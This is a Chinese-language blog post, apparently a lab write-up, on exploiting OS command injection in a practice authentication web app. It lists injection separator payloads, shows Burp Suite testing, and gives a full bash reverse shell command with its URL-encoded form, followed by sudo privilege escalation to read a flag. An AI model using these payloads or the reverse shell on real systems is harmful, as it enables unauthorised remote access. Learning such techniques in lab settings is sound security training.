操作系統命令注入攻擊(2)

 操作系統命令注入攻擊(2)


目標說明 : 在 VM 上啟動 Future Factor Authentication 應用程序。識別漏洞,利用它並​​獲得反向shell。在反向 shell 中使用 sudo su 來獲取提升的權限並找到位於 /root/ 目錄中的標誌。

靶機 IP : 192.168.203.16
攻擊端 IP : 192.168.45.250

第一步先 rustscan
└─$ rustscan -a 192.168.203.16 --scripts none  --ulimit 5000
掃描結果 22/80 Port



依據題目描述的結果,看來是個網站,那就直接開啟 80 Port 看看

http://192.168.203.16 如下圖,如題目描述是個未來多因素驗證網站



點選 here 後畫面如下,有三個欄位可以輸入,不知道哪個欄位可以利用





那就先每個欄位都輸入隨便值送到 Burp Suite 去測試最快

分別在三個欄位預設先使用 1111、2222、3333




接著要想一下用甚麼字串來接後面接的指令,一般常用的如下

  • address=8.8.8.8%3Bwhoami ( ; character, Linux only)
  • address=8.8.8.8&26whoami ( & character, Windows only)
  • address=8.8.8.8%7Cwhoami ( | character)
  • address=invalid%7C%7Cwhoami ( || characters, the second command is executed only if the first command fails)
  • address=8.8.8.8&26&26whoami ( && characters)
  • %3E(whoami) ( > character, Linux only)
  • %60whoami%60 ( ` character, Linux only, the result will be reported by the ping command as an error)
  • Windows: ( ) < > & * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , `
  • Linux: { } ( ) < > & * ‘ | = ? ; [ ] $ – # ~ ! . ” % / \ : + , `
  • Newline (0x0a or \n)
  • 'injection command'
  • $(injection command)



由於不知道哪一個欄位與哪一個字串有用,那就一個一個測試吧

一開始就先用 whoami 來測試,先記住原本甚麼都沒接的最後輸出結果

屆時一個一個測試看看有無多出來的行列,如下是第一個測試用 ; = %3B,看來沒結果




測試到 "&&whoami" = %22%26%26whosami%22 多了幾個字 [ yelnats ]

所以看來使用者就是他啦,且是第三個欄位




多測試一個 "&&ls" 如下,確認就是第三個欄位且支援命令注入攻擊





廢話不多說直接 nc -nvlp 4444 然後丟命令叫對方來連

標準的指令 bash -c "bash -i >& /dev/tcp/192.168.45.250/4444 0>&1"

URL Encode 後是 bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.250%2F4444%200%3E%261%22

直接透過 Burp Suite 送出吧





444 port 就連線過來了, sudo su 提權後切換到 /root,ls 看到 flag 檔案再 cat 一下就拿到了





留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)